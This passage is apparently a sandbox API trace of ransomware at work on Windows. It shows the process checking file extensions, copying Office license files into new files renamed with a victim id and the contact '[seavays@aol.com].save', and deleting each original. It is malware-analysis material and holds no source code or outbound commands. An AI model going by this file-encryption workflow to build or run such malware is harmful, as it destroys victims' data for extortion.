Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0198.005] lstrlenW (lpString=".1cd") returned 4 [0198.005] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87 [0198.005] lstrlenW (lpString=".jpg") returned 4 [0198.005] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.006] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0198.210] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0198.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0198.212] GetLastError () returned 0x0 [0198.212] ReadFile (in: hFile=0x524, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x67ad, lpOverlapped=0x0) returned 1 [0198.215] WriteFile (in: hFile=0x374, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x67b0, lpOverlapped=0x0) returned 1 [0198.217] ReadFile (in: hFile=0x524, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0198.217] WriteFile (in: hFile=0x374, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x120, lpOverlapped=0x0) returned 1 [0198.217] SetEndOfFile (hFile=0x374) returned 1 [0198.217] CloseHandle (hObject=0x374) returned 1 [0198.217] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0198.218] SetEndOfFile (hFile=0x524) returned 1 [0198.223] CloseHandle (hObject=0x524) returned 1 [0198.223] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.223] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ppd.xrm-ms")) returned 1 [0198.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0198.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0198.225] lstrlenW (lpString=".doc") returned 4 [0198.225] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.225] lstrlenW (lpString=".docx") returned 5 [0198.225] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.225] lstrlenW (lpString=".pdf") returned 4 [0198.225] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.225] lstrlenW (lpString=".xls") returned 4 [0198.225] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.225] lstrlenW (lpString=".xlsx") returned 5 [0198.225] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.225] lstrlenW (lpString=".ppt") returned 4 [0198.225] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0198.226] lstrlenW (lpString=".zip") returned 4 [0198.226] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.226] lstrlenW (lpString=".rar") returned 4 [0198.226] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.226] lstrlenW (lpString=".bz2") returned 4 [0198.226] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.226] lstrlenW (lpString=".7z") returned 3 [0198.226] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0198.226] lstrlenW (lpString=".dbf") returned 4 [0198.226] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0198.226] lstrlenW (lpString=".1cd") returned 4 [0198.226] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ppd.xrm-ms") returned 88 [0198.226] lstrlenW (lpString=".jpg") returned 4 [0198.226] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.228] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0198.228] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0198.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0198.229] GetLastError () returned 0x0 [0198.230] ReadFile (in: hFile=0x524, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x5a5e, lpOverlapped=0x0) returned 1 [0198.233] WriteFile (in: hFile=0x374, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x5a60, lpOverlapped=0x0) returned 1 [0198.234] ReadFile (in: hFile=0x524, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0198.234] WriteFile (in: hFile=0x374, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x116, lpOverlapped=0x0) returned 1 [0198.234] SetEndOfFile (hFile=0x374) returned 1 [0198.234] CloseHandle (hObject=0x374) returned 1 [0198.235] SetFilePointerEx (in: hFile=0x524, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0198.235] SetEndOfFile (hFile=0x524) returned 1 [0198.239] CloseHandle (hObject=0x524) returned 1 [0198.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.240] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms")) returned 1 [0198.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0198.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0198.253] lstrlenW (lpString=".doc") returned 4 [0198.253] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.253] lstrlenW (lpString=".docx") returned 5 [0198.253] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.253] lstrlenW (lpString=".pdf") returned 4 [0198.253] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.253] lstrlenW (lpString=".xls") returned 4 [0198.253] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.253] lstrlenW (lpString=".xlsx") returned 5 [0198.253] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.253] lstrlenW (lpString=".ppt") returned 4 [0198.254] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0198.254] lstrlenW (lpString=".zip") returned 4 [0198.254] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.254] lstrlenW (lpString=".rar") returned 4 [0198.254] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.254] lstrlenW (lpString=".bz2") returned 4 [0198.254] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.254] lstrlenW (lpString=".7z") returned 3 [0198.254] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0198.254] lstrlenW (lpString=".dbf") returned 4 [0198.254] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0198.254] lstrlenW (lpString=".1cd") returned 4 [0198.254] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.254] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0198.254] lstrlenW (lpString=".jpg") returned 4 [0198.254] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.916] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0198.916] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0198.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0198.918] GetLastError () returned 0x0 [0198.918] ReadFile (in: hFile=0x564, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x2d6e, lpOverlapped=0x0) returned 1 [0198.921] WriteFile (in: hFile=0x510, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x2d70, lpOverlapped=0x0) returned 1 [0198.922] ReadFile (in: hFile=0x564, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0198.922] WriteFile (in: hFile=0x510, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x11c, lpOverlapped=0x0) returned 1 [0198.922] SetEndOfFile (hFile=0x510) returned 1 [0198.922] CloseHandle (hObject=0x510) returned 1 [0198.923] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0198.923] SetEndOfFile (hFile=0x564) returned 1 [0198.927] CloseHandle (hObject=0x564) returned 1 [0198.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.928] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms")) returned 1 [0198.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0198.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0198.930] lstrlenW (lpString=".doc") returned 4 [0198.930] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.930] lstrlenW (lpString=".docx") returned 5 [0198.930] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.930] lstrlenW (lpString=".pdf") returned 4 [0198.930] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.930] lstrlenW (lpString=".xls") returned 4 [0198.930] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.930] lstrlenW (lpString=".xlsx") returned 5 [0198.930] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.930] lstrlenW (lpString=".ppt") returned 4 [0198.930] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0198.930] lstrlenW (lpString=".zip") returned 4 [0198.930] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.930] lstrlenW (lpString=".rar") returned 4 [0198.930] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.930] lstrlenW (lpString=".bz2") returned 4 [0198.930] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.930] lstrlenW (lpString=".7z") returned 3 [0198.930] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0198.931] lstrlenW (lpString=".dbf") returned 4 [0198.931] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0198.931] lstrlenW (lpString=".1cd") returned 4 [0198.931] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.931] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms") returned 86 [0198.931] lstrlenW (lpString=".jpg") returned 4 [0198.931] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.943] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0198.943] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0198.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0198.945] GetLastError () returned 0x0 [0198.945] ReadFile (in: hFile=0x564, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x2baf, lpOverlapped=0x0) returned 1 [0199.221] WriteFile (in: hFile=0x510, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0199.222] ReadFile (in: hFile=0x564, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0199.222] WriteFile (in: hFile=0x510, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x116, lpOverlapped=0x0) returned 1 [0199.222] SetEndOfFile (hFile=0x510) returned 1 [0199.468] CloseHandle (hObject=0x510) returned 1 [0199.469] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0199.469] SetEndOfFile (hFile=0x564) returned 1 [0199.472] CloseHandle (hObject=0x564) returned 1 [0199.472] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0199.473] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms")) returned 1 [0199.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83 [0199.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83 [0199.474] lstrlenW (lpString=".doc") returned 4 [0199.474] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.474] lstrlenW (lpString=".docx") returned 5 [0199.474] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.474] lstrlenW (lpString=".pdf") returned 4 [0199.474] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.474] lstrlenW (lpString=".xls") returned 4 [0199.474] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.474] lstrlenW (lpString=".xlsx") returned 5 [0199.474] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.474] lstrlenW (lpString=".ppt") returned 4 [0199.474] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83 [0199.474] lstrlenW (lpString=".zip") returned 4 [0199.474] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.474] lstrlenW (lpString=".rar") returned 4 [0199.474] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.474] lstrlenW (lpString=".bz2") returned 4 [0199.474] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.474] lstrlenW (lpString=".7z") returned 3 [0199.474] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83 [0199.474] lstrlenW (lpString=".dbf") returned 4 [0199.475] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83 [0199.475] lstrlenW (lpString=".1cd") returned 4 [0199.475] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.475] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms") returned 83 [0199.475] lstrlenW (lpString=".jpg") returned 4 [0199.475] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.476] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0199.476] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0199.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0199.477] GetLastError () returned 0x0 [0199.477] ReadFile (in: hFile=0x564, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x5f42, lpOverlapped=0x0) returned 1 [0199.479] WriteFile (in: hFile=0x510, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x5f50, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x5f50, lpOverlapped=0x0) returned 1 [0199.481] ReadFile (in: hFile=0x564, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0199.481] WriteFile (in: hFile=0x510, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x128, lpOverlapped=0x0) returned 1 [0199.481] SetEndOfFile (hFile=0x510) returned 1 [0199.481] CloseHandle (hObject=0x510) returned 1 [0199.481] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0199.481] SetEndOfFile (hFile=0x564) returned 1 [0199.485] CloseHandle (hObject=0x564) returned 1 [0199.485] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0199.485] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ppd.xrm-ms")) returned 1 [0199.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0199.486] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0199.486] lstrlenW (lpString=".doc") returned 4 [0199.486] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0199.486] lstrlenW (lpString=".docx") returned 5 [0199.486] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0199.486] lstrlenW (lpString=".pdf") returned 4 [0199.486] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0199.487] lstrlenW (lpString=".xls") returned 4 [0199.487] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0199.487] lstrlenW (lpString=".xlsx") returned 5 [0199.487] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0199.487] lstrlenW (lpString=".ppt") returned 4 [0199.487] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0199.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0199.487] lstrlenW (lpString=".zip") returned 4 [0199.487] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0199.487] lstrlenW (lpString=".rar") returned 4 [0199.487] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0199.487] lstrlenW (lpString=".bz2") returned 4 [0199.487] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0199.487] lstrlenW (lpString=".7z") returned 3 [0199.487] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0199.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0199.487] lstrlenW (lpString=".dbf") returned 4 [0199.487] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0199.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0199.487] lstrlenW (lpString=".1cd") returned 4 [0199.487] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0199.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 92 [0199.487] lstrlenW (lpString=".jpg") returned 4 [0199.487] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0199.488] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0199.489] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0199.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0199.490] GetLastError () returned 0x0 [0199.490] ReadFile (in: hFile=0x564, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, 